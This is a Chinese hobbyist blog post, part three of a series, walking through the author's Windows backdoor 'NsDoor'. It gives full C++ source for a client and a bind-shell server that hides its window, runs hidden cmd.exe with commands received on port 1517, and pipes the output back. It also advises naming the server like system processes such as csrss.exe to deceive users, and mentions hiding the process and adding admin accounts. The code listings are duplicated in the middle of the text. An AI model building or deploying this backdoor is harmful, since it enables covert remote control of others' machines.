循环渐进NsDoor(三)
2G的内存,T5450的U,结果匿名管道Sleep(300)都跑不对PeekNamePipe(...);Fuck!Fuck!白测试两天时间啊~
想骂人…
日,好浪费时间…
不过还是怪自己从没做过这种网络通信问题..本机的通信都很有这么长延迟,不知道高速大吞吐量网络环境下怎么办,可以考虑换汇编…
今天也遇到了汇编的单管道反弹性后门..
希望shellcode后可以速度有所提升
自己还没有解决C/S两边同时进行等待输入错误时,怎么自动缓解,都怪PeekNamePipe这个函数啊…
写这个NsDoor是个循环渐进的过程..
争取每次都能有个DEMO演示,然后下次都有新功能…
我昨天辗转反侧,最终决定,这个NsDoor先向backdoor发展,即越小越好….
功能简单强大…
最终实现shellcode化…
然后我再重新架构,实现一个高级的类木马东东,这个东东争取功能创新,不和主流木马一样的,因为主流的木马根本写不来…汗..
昨天在考虑那个服务端生成器的问题,有一点点眉目,参考了下delphi,争取后几节贡献出来,哈哈哈
先来解决上次遗留下来的问题:
仅仅是socket通信然后收到条固定消息有屁用,让它可以做点不为人知的事,嘿嘿
这次让它可以执行CMD命令,这个功能说小不小,说大不大,但还是很重要的说..
能执行CMD命令貌似方法不少,可以直接调用API,也可以进程间通信,我决定还是参考别人的进程间通信….
调用API的应该不难,但后面再shellcode就不太清楚了,等有空我试下,或者找小三仔一起研究下,啊哈哈
还有,这个是利用匿名管道通信,但是这个可是可以分成双管道通信、单管道通信、甚至零管道通信,各有利弊,最终决定取中间,使用单管道通信…原因是我已经拿到单管道德shellcode啦,可以最后对比下哈…
以命令为参数运行cmd.exe
(远程主机→传送命令-→以命令为参数建立cmd.exe子进程运行
(远程主机)←输入→管道输出→管道输入→输出(cmd.exe子进程)
先贴出来客户端吧…
#include<iostream>
#include<string.h>
#include<winsock.h>
#pragma comment(lib,"Ws2_32")
using std::cout;
using std::endl;
using std::cin;
//void ConnStrFilter(char* ConnStr,char* ip,char* pro);
int main()
{
cout<<" -------------------------*******************-------------------------"<<endl;
cout<<" - -"<<endl;
cout<<" - Welcome to a magic world,NewSketcher~ -"<<endl;
cout<<" - -"<<endl;
cout<<" - QQ:381002948 E-mail:ns517@126.com -"<<endl;
cout<<" - -"<<endl;
cout<<" -------------------------*******************-------------------------"<<endl;
cout<<endl;
int PORT = 0;
SOCKET sockfd;
struct sockaddr_in their_addr;
//char* connStr;
char IP[16] = {0};
cout<<"Connect IP&Port:";
cin>>IP>>PORT;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
cout<<"socket error"<<endl;
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT);
their_addr.sin_addr.s_addr = inet_addr(IP);
if(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1)
{
cout<<"connect error"<<endl;
system("pause");
closesocket(sockfd);
exit(1);
}
cout<<"Connection OK!"<<endl<<"You can input the CmdLine OR ."<<endl<<endl;//还有功能未实现呵呵
char CmdLine[200] = {0};
char CmdLineStr[200] = {0};
char Buf[1024] = {0};
memset(CmdLineStr,0,200);
while(true)
{
cout<<"CmdLine:"">";
cin.getline(CmdLineStr,sizeof CmdLineStr);
if(*CmdLineStr == 0)
continue;
if( CmdLineStr[0]=='e' && CmdLineStr[1]=='x' && CmdLineStr[2]=='i' && CmdLineStr[3]=='t')
{
cout<<"this is the end;"<<endl;
break;
}
strcat_s(CmdLine,200,"cmd.exe /c");
strcat_s(CmdLine,200,CmdLineStr);
if( send(sockfd,CmdLine,200,0) == -1)
{
cout<<"send cmdline error~"<<endl;
continue;
}
recv(sockfd,Buf,1024,0);
cout<<Buf<<endl;
memset(Buf,0,1024);
memset(CmdLineStr,0,200);
memset(CmdLine,0,200);
}
closesocket(sockfd);
return 0;
}
/*void ConnStrFilter(char* ConnStr,char* ip,char* pro)
{
while(*ConnStr != ' ')
{
*ip++ = *ConnStr++;
}
*ip '"0';
ConnStr++;
strcpy_s(pro,6,ConnStr);
}*/
客户端比较简单吧,连废掉的代码也一起贴出来了》。。
再来服务端:
//NsServer2 如何让一函数执行一定时间未返回就强制结束它.?
#include<iostream>
#include<winsock2.h>
using std::cout;
using std::endl;
#pragma comment(lib,"Ws2_32")
#pragma comment( linker, "/subsystem:windows /entry:main")//简单的隐藏
int main()
{
const int PORT = 1517;
const int BACKLOG = 2;//端口为常量问题在生成器部分应该可以解决
int sockfd,new_fd;
int sin_size;
int ret;
char Buf[1024];
struct sockaddr_in server_addr;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
sockfd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);//IPPROTO_TCP
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr.s_addr = ADDR_ANY;
ret = bind(sockfd,(struct sockaddr*)&server_addr,sizeof server_addr);
ret = listen(sockfd,BACKLOG);
sin_size = sizeof server_addr;
new_fd = accept(sockfd,(struct sockaddr*)&server_addr,&sin_size);
SECURITY_ATTRIBUTES pipeattr;
HANDLE hReadPipe,hWritePipe;
pipeattr.nLength = 12;//还好不是幻数,oh.
pipeattr.bInheritHandle = true;
pipeattr.lpSecurityDescriptor = 0;
CreatePipe(&hReadPipe,&hWritePipe,&pipeattr,0);
STARTUPINFOA si;
ZeroMemory(&si,sizeof si);//ZeroMemory类函数有比strcpy的好处.00
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = si.hStdError = hWritePipe;//木输入管道
PROCESS_INFORMATION ProcessInformation;
char cmdLine[200];
unsigned long lBytesRead;
CreateProcessA(NULL,"cmd.exe /c",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
//cout<<"i am ready.."<<endl;
/*while(true)
{
PeekNamedPipe(hReadPipe,Buf,1024,&lBytesRead,0,0);
cout<<"here"<<endl;
if(lBytesRead)
{
cout<<"here coutn"<<endl;
CloseHandle(hWritePipe);
ret = ReadFile(hReadPipe,Buf,lBytesRead,&lBytesRead,0);
if(!ret)
{
cout<<"readfile error"<<endl;
system("pause");
continue;
}
cout<<Buf<<endl;
ret = send(new_fd,Buf,lBytesRead,0);
if(ret<=0)
{
cout<<"send information error"<<endl;
continue;
}
}
else
{
/*while(Buf[pBuf-Buf-1] != '~')
{
recv(new_fd,pBuf,1024,0);
pBuf++;
}
Buf[pBuf-Buf-1] = '"0';
lBytesRead = pBuf-Buf-1;
strcpy(cmdLine,"cmd.exe /c");// /c 和/k这个是个问题.单通道的不爽之处 需要‘&’辅助..
cout<<"connect success"<<endl;
strncat(cmdLine,Buf,lBytesRead);//安全新版本,哈哈
cout<<cmdLine<<endl;
if( (lBytesRead = recv(new_fd,cmdLine,200,0)) == -1)
{
cout<<"recv error"<<endl;
continue;
}
cout<<cmdLine<<endl;
CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);//在这里我遇到了传说中的编译器不兼容问题,累死最终改用调用ASC版本,注意第二和第九个参数.
//send(new_fd,"bad command"n",20,0);
memset(cmdLine,0,200);
}
}*/
/*while(true)
{
if( lBytesRead = recv(new_fd,cmdLine,200,0) == -1)
{
cout<<"recv error"<<endl;
continue;
}
cout<<cmdLine<<endl;
while(!CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation));
//CloseHandle(hWritePipe);
//Sleep(100);
/*while(true)
{
if(!ReadFile(hReadPipe,Buf,1024,&lBytesRead,NULL))
break;
cout<<lBytesRead<<endl<<Buf<<endl;
while(send(new_fd,Buf,1024,0) == -1)
{
cout<<"send error"<<endl;
}
memset(Buf,0,1024);
Sleep(100);
}*/
/*while(true)
{
ReadFile(hReadPipe,Buf,1024,&lBytesRead,NULL);
if(lBytesRead)
break;
send(new_fd,Buf,1024,0);
memset(Buf,0,1024);
}
cout<<"over"<<endl;
send(new_fd,"over",5,0);
while(1)
{
//检查管道,即cmd进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
strcpy(cmdLine, "cmd.exe /c"); //cd" & dir
strncat(cmdLine, Buff, lBytesRead);
//以命令为参数,合成后启动CMD执行
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
}
}
}*/
while(1)
{
Sleep(1000);//多睡会.
//检查管道,即cmd进程是否有输出
ret=PeekNamedPipe(hReadPipe,Buf,1024,&lBytesRead,0,0);
if(lBytesRead)
{
ret=ReadFile(hReadPipe,Buf,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(new_fd,Buf,lBytesRead,0);
if(ret<=0) break;
}
else
{
lBytesRead=recv(new_fd,cmdLine,1024,0);
while(!CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation));
//cout<<cmdLine<<endl;
memset(cmdLine,0,200);
}
}
closesocket(sockfd);
closesocket(new_fd);
return 0;
}
#include<string.h>
#include<winsock.h>
#pragma comment(lib,"Ws2_32")
using std::cout;
using std::endl;
using std::cin;
//void ConnStrFilter(char* ConnStr,char* ip,char* pro);
int main()
{
cout<<" -------------------------*******************-------------------------"<<endl;
cout<<" - -"<<endl;
cout<<" - Welcome to a magic world,NewSketcher~ -"<<endl;
cout<<" - -"<<endl;
cout<<" - QQ:381002948 E-mail:ns517@126.com -"<<endl;
cout<<" - -"<<endl;
cout<<" -------------------------*******************-------------------------"<<endl;
cout<<endl;
int PORT = 0;
SOCKET sockfd;
struct sockaddr_in their_addr;
//char* connStr;
char IP[16] = {0};
cout<<"Connect IP&Port:";
cin>>IP>>PORT;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
cout<<"socket error"<<endl;
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT);
their_addr.sin_addr.s_addr = inet_addr(IP);
if(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1)
{
cout<<"connect error"<<endl;
system("pause");
closesocket(sockfd);
exit(1);
}
cout<<"Connection OK!"<<endl<<"You can input the CmdLine OR ."<<endl<<endl;//还有功能未实现呵呵
char CmdLine[200] = {0};
char CmdLineStr[200] = {0};
char Buf[1024] = {0};
memset(CmdLineStr,0,200);
while(true)
{
cout<<"CmdLine:"">";
cin.getline(CmdLineStr,sizeof CmdLineStr);
if(*CmdLineStr == 0)
continue;
if( CmdLineStr[0]=='e' && CmdLineStr[1]=='x' && CmdLineStr[2]=='i' && CmdLineStr[3]=='t')
{
cout<<"this is the end;"<<endl;
break;
}
strcat_s(CmdLine,200,"cmd.exe /c");
strcat_s(CmdLine,200,CmdLineStr);
if( send(sockfd,CmdLine,200,0) == -1)
{
cout<<"send cmdline error~"<<endl;
continue;
}
recv(sockfd,Buf,1024,0);
cout<<Buf<<endl;
memset(Buf,0,1024);
memset(CmdLineStr,0,200);
memset(CmdLine,0,200);
}
closesocket(sockfd);
return 0;
}
/*void ConnStrFilter(char* ConnStr,char* ip,char* pro)
{
while(*ConnStr != ' ')
{
*ip++ = *ConnStr++;
}
*ip '"0';
ConnStr++;
strcpy_s(pro,6,ConnStr);
}*/
客户端比较简单吧,连废掉的代码也一起贴出来了》。。
再来服务端:
//NsServer2 如何让一函数执行一定时间未返回就强制结束它.?
#include<iostream>
#include<winsock2.h>
using std::cout;
using std::endl;
#pragma comment(lib,"Ws2_32")
#pragma comment( linker, "/subsystem:windows /entry:main")//简单的隐藏
int main()
{
const int PORT = 1517;
const int BACKLOG = 2;//端口为常量问题在生成器部分应该可以解决
int sockfd,new_fd;
int sin_size;
int ret;
char Buf[1024];
struct sockaddr_in server_addr;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
sockfd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);//IPPROTO_TCP
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr.s_addr = ADDR_ANY;
ret = bind(sockfd,(struct sockaddr*)&server_addr,sizeof server_addr);
ret = listen(sockfd,BACKLOG);
sin_size = sizeof server_addr;
new_fd = accept(sockfd,(struct sockaddr*)&server_addr,&sin_size);
SECURITY_ATTRIBUTES pipeattr;
HANDLE hReadPipe,hWritePipe;
pipeattr.nLength = 12;//还好不是幻数,oh.
pipeattr.bInheritHandle = true;
pipeattr.lpSecurityDescriptor = 0;
CreatePipe(&hReadPipe,&hWritePipe,&pipeattr,0);
STARTUPINFOA si;
ZeroMemory(&si,sizeof si);//ZeroMemory类函数有比strcpy的好处.00
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = si.hStdError = hWritePipe;//木输入管道
PROCESS_INFORMATION ProcessInformation;
char cmdLine[200];
unsigned long lBytesRead;
CreateProcessA(NULL,"cmd.exe /c",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
//cout<<"i am ready.."<<endl;
/*while(true)
{
PeekNamedPipe(hReadPipe,Buf,1024,&lBytesRead,0,0);
cout<<"here"<<endl;
if(lBytesRead)
{
cout<<"here coutn"<<endl;
CloseHandle(hWritePipe);
ret = ReadFile(hReadPipe,Buf,lBytesRead,&lBytesRead,0);
if(!ret)
{
cout<<"readfile error"<<endl;
system("pause");
continue;
}
cout<<Buf<<endl;
ret = send(new_fd,Buf,lBytesRead,0);
if(ret<=0)
{
cout<<"send information error"<<endl;
continue;
}
}
else
{
/*while(Buf[pBuf-Buf-1] != '~')
{
recv(new_fd,pBuf,1024,0);
pBuf++;
}
Buf[pBuf-Buf-1] = '"0';
lBytesRead = pBuf-Buf-1;
strcpy(cmdLine,"cmd.exe /c");// /c 和/k这个是个问题.单通道的不爽之处 需要‘&’辅助..
cout<<"connect success"<<endl;
strncat(cmdLine,Buf,lBytesRead);//安全新版本,哈哈
cout<<cmdLine<<endl;
if( (lBytesRead = recv(new_fd,cmdLine,200,0)) == -1)
{
cout<<"recv error"<<endl;
continue;
}
cout<<cmdLine<<endl;
CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);//在这里我遇到了传说中的编译器不兼容问题,累死最终改用调用ASC版本,注意第二和第九个参数.
//send(new_fd,"bad command"n",20,0);
memset(cmdLine,0,200);
}
}*/
/*while(true)
{
if( lBytesRead = recv(new_fd,cmdLine,200,0) == -1)
{
cout<<"recv error"<<endl;
continue;
}
cout<<cmdLine<<endl;
while(!CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation));
//CloseHandle(hWritePipe);
//Sleep(100);
/*while(true)
{
if(!ReadFile(hReadPipe,Buf,1024,&lBytesRead,NULL))
break;
cout<<lBytesRead<<endl<<Buf<<endl;
while(send(new_fd,Buf,1024,0) == -1)
{
cout<<"send error"<<endl;
}
memset(Buf,0,1024);
Sleep(100);
}*/
/*while(true)
{
ReadFile(hReadPipe,Buf,1024,&lBytesRead,NULL);
if(lBytesRead)
break;
send(new_fd,Buf,1024,0);
memset(Buf,0,1024);
}
cout<<"over"<<endl;
send(new_fd,"over",5,0);
while(1)
{
//检查管道,即cmd进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
strcpy(cmdLine, "cmd.exe /c"); //cd" & dir
strncat(cmdLine, Buff, lBytesRead);
//以命令为参数,合成后启动CMD执行
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
}
}
}*/
while(1)
{
Sleep(1000);//多睡会.
//检查管道,即cmd进程是否有输出
ret=PeekNamedPipe(hReadPipe,Buf,1024,&lBytesRead,0,0);
if(lBytesRead)
{
ret=ReadFile(hReadPipe,Buf,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(new_fd,Buf,lBytesRead,0);
if(ret<=0) break;
}
else
{
lBytesRead=recv(new_fd,cmdLine,1024,0);
while(!CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation));
//cout<<cmdLine<<endl;
memset(cmdLine,0,200);
}
}
closesocket(sockfd);
closesocket(new_fd);
return 0;
}
这次你会发现有多少代码废掉了,全部是获取匿名管道内数据的代码,测试了好几种方法都不行,甚至我改用双管道和反弹都没搞定,目前这个代码也有一些bug,存在死锁的可能性,都在两边同时执行recv函数,结果两边互相等待,最终废掉了,估计这个bug还算好解决,可惜我懒的再修改了》。。
在上面的废弃的代码里,尤其是CreateProcess这个函数存在编译器不兼容问题,具体的说应该是ASCII和UNICODE 码之间的问题,VS08下比较麻烦,所以直接强制使用A版本,不是默认的UNICODE 版本…
#pragma comment( linker, "/subsystem:windows /entry:main")//简单的隐藏
这句可以让控制台程序不显示其窗口,而且只在进程里面显示出来名字,所以可以把服务端命名为csrss.exe svhost.exe这样迷惑人的名字..
这里我命名为csrs.exe,防止一会我自己也不知道是哪个进程了…
测试报告…
生成的程序:
Xp竟然不支持我VS08下生成的程序,说程序配置不行,应该是我XP太老的缘故..
本机测试…
服务端已经运行,没有弹出窗口,很好…
看见没,csrs.exe在里面,如果想再隐藏的深点,可以选择隐藏进程》。
这是客户端的样子,还算不错的说,啊哈哈
输入192.168.0.20 1517
连接成功…
执行net user的结果
dir的结果
Net time的结果
直接回车的结果
错误输入的结果
以上测试结果都是完全正确的,可见服务端可以作为一个比较强大的shell,你可以输入添加一个管理员的CMD命令,只不过我是用的VISTA本本,所以就不测试这个强大的命令了 另外提一句,这是单通道的shell,如果想以此 执行一条以上命令 如 cd..和dir必须以这种格式
cd..&dir 即一条以上命令要加&连接符才能利用上条命令的结果…
另外 说下不好的地方,刚才我测试的时候,大约输入20条命令,出现好几次管道数据未读完,结果是在下一条命令输入后显示出来的,又是管道通信的问题,还没想到很好的 解决办法,所以这个后门相当不稳定,不过后面还会编写反弹的后门,所以这个是个过渡品的说…
总之,问题很多…
------------by NewSketcher
Time: 080815 14:1